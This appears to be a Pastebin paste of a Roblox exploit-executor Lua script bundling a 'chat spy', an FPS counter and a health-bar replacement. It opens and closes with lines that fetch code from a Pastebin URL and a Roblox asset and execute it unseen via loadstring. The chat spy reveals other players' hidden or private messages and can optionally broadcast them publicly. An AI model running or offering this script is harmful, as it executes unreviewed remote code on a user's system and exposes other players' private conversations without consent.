Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait(1.2)
- loadstring(game:HttpGet('https://pastebin.com/raw/zSKW4AnS'))() -- If you want to configure the settings, fetch the source here: https://pastebin.com/raw/zSKW4AnS
- wait(1.0)
- --This script reveals ALL hidden messages in the default chat
- --chat "/spy" to toggle!
- enabled = true
- --if true will check your messages too
- spyOnMyself = true
- --if true will chat the logs publicly (fun, risky)
- public = false
- --if true will use /me to stand out
- publicItalics = true
- --customize private logs
- privateProperties = {
- Color = Color3.fromRGB(0,255,255);
- Font = Enum.Font.SourceSansBold;
- TextSize = 18;
- }
- --////////////////////////////////////////////////////////////////
- local StarterGui = game:GetService("StarterGui")
- local Players = game:GetService("Players")
- local player = Players.LocalPlayer
- local saymsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
- local getmsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("OnMessageDoneFiltering")
- local instance = (_G.chatSpyInstance or 0) + 1
- _G.chatSpyInstance = instance
- local function onChatted(p,msg)
- if _G.chatSpyInstance == instance then
- if p==player and msg:lower():sub(1,4)=="/spy" then
- enabled = not enabled
- wait(0.3)
- privateProperties.Text = "{SPY "..(enabled and "EN" or "DIS").."ABLED}"
- StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
- elseif enabled and (spyOnMyself==true or p~=player) then
- msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ')
- local hidden = true
- local conn = getmsg.OnClientEvent:Connect(function(packet,channel)
- if packet.SpeakerUserId==p.UserId and packet.Message==msg:sub(#msg-#packet.Message+1) and (channel=="All" or (channel=="Team" and public==false and Players[packet.FromSpeaker].Team==player.Team)) then
- hidden = false
- end
- end)
- wait(1)
- conn:Disconnect()
- if hidden and enabled then
- if public then
- saymsg:FireServer((publicItalics and "/me " or '').."{SPY} [".. p.Name .."]: "..msg,"All")
- else
- privateProperties.Text = "{SPY} [".. p.Name .."]: "..msg
- StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
- end
- end
- end
- end
- end
- for _,p in ipairs(Players:GetPlayers()) do
- p.Chatted:Connect(function(msg) onChatted(p,msg) end)
- end
- Players.PlayerAdded:Connect(function(p)
- p.Chatted:Connect(function(msg) onChatted(p,msg) end)
- end)
- privateProperties.Text = "{SPY "..(enabled and "EN" or "DIS").."ABLED}"
- StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
- local chatFrame = player.PlayerGui.Chat.Frame
- chatFrame.ChatChannelParentFrame.Visible = true
- chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position+UDim2.new(UDim.new(),chatFrame.ChatChannelParentFrame.Size.Y)
- wait(1.0)
- local Players = game:GetService("Players")
- local Player = Players.LocalPlayer
- local PlayerGui = Player:WaitForChild("PlayerGui")
- local BubbleChatUI = PlayerGui:WaitForChild("BubbleChat")
- BubbleChatUI.DescendantAdded:Connect(function(Descendant)
- if Descendant:IsA("ImageLabel") then
- Descendant.ImageColor3 = Color3.fromRGB(59, 59, 59)
- elseif Descendant:IsA("TextLabel") then
- Descendant.TextColor3 = Color3.new(1,1,1)
- end
- end)
- if fpscounter == true then
- error("yo bro stop exec",0)
- return
- end
- pcall(function() getgenv().fpscounter = true end)
- -- Instances:
- local Frame = Instance.new("ImageLabel")
- local IconButton = Instance.new("ImageButton")
- local TextLabel = Instance.new("TextLabel")
- local UICorner = Instance.new("UICorner")
- --Properties:
- Frame.Parent = game:WaitForChild("CoreGui"):WaitForChild("TopBar").TopBarFrame.RightFrame
- Frame.BackgroundTransparency = 1.000
- Frame.Position = UDim2.new(0, 0, 0, 0)
- Frame.Size = UDim2.new(0, 40, 0, 25)
- IconButton.Name = "IconButton"
- IconButton.Parent = Frame
- IconButton.BackgroundTransparency = 1.000
- IconButton.BorderSizePixel = 0
- IconButton.Size = UDim2.new(1, 0, 1, 0)
- IconButton.ZIndex = 2
- IconButton.Image = "http://www.roblox.com/asset/?id=5540166883"
- IconButton.ImageColor3 = Color3.fromRGB(0, 0, 0)
- IconButton.ImageTransparency = 0.500
- IconButton.ScaleType = Enum.ScaleType.Crop
- TextLabel.Parent = IconButton
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.BackgroundTransparency = 1.000
- TextLabel.BorderColor3 = Color3.fromRGB(27, 42, 53)
- TextLabel.Position = UDim2.new(-0.00249999994, 0, -0.0161767583, 0)
- TextLabel.Size = UDim2.new(0, 40, 0, 25)
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.Text = ""
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.TextScaled = true
- TextLabel.TextSize = 14.000
- TextLabel.TextWrapped = true
- TextLabel.ZIndex = 2
- UICorner.CornerRadius = UDim.new(0.25, 0)
- UICorner.Parent = IconButton
- -- Script:
- game:GetService"RunService".RenderStepped:Connect(function()
- TextLabel.Text = (math.floor(workspace:GetRealPhysicsFPS()))
- end)
- if healthcounter == true then
- error("yo bro stop exec",0)
- return
- end
- pcall(function() getgenv().healthcounter = true end)
- game:WaitForChild("CoreGui"):WaitForChild("TopBar").TopBarFrame.RightFrame.HealthBar:Destroy()
- -- Instances:
- local Frame = Instance.new("ImageLabel")
- local IconButton = Instance.new("ImageButton")
- local TextLabel = Instance.new("TextLabel")
- local UICorner = Instance.new("UICorner")
- --Properties:
- Frame.Parent = game:WaitForChild("CoreGui"):WaitForChild("TopBar").TopBarFrame.RightFrame
- Frame.BackgroundTransparency = 1.000
- Frame.Position = UDim2.new(0, 0, 0, 0)
- Frame.Size = UDim2.new(0, 80, 0, 25)
- Frame.Name = "HealthBar"
- IconButton.Name = "IconButton"
- IconButton.Parent = Frame
- IconButton.BackgroundTransparency = 1.000
- IconButton.BorderSizePixel = 0
- IconButton.Size = UDim2.new(1, 0, 1, 0)
- IconButton.ZIndex = 2
- IconButton.Image = "http://www.roblox.com/asset/?id=5540166883"
- IconButton.ImageColor3 = Color3.fromRGB(0, 0, 0)
- IconButton.ImageTransparency = 0.500
- IconButton.ScaleType = Enum.ScaleType.Crop
- TextLabel.Parent = IconButton
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.BackgroundTransparency = 1.000
- TextLabel.BorderColor3 = Color3.fromRGB(27, 42, 53)
- TextLabel.Position = UDim2.new(-0.00249999994, 0, -0.0161767583, 0)
- TextLabel.Size = UDim2.new(0, 80, 0, 25)
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.Text = "??"
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.TextScaled = true
- TextLabel.TextSize = 14.000
- TextLabel.TextWrapped = true
- TextLabel.ZIndex = 2
- UICorner.CornerRadius = UDim.new(0.25, 0)
- UICorner.Parent = IconButton
- -- Script:
- while wait(0.1) do
- repeat
- wait()
- until
- game.Players.LocalPlayer.Character
- local hum = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid")
- if not hum then
- TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
- TextLabel.Text = "█████"
- else
- hum.Changed:Connect(function()
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- local val = math.floor(hum.Health)
- TextLabel.Text = (val.."/"..hum.MaxHealth)
- end)
- end
- end
- wait(0.9)
- loadstring(game:GetObjects("rbxassetid://4001118261")[1].Source)()
Advertisement
Add Comment
Please, Sign In to add comment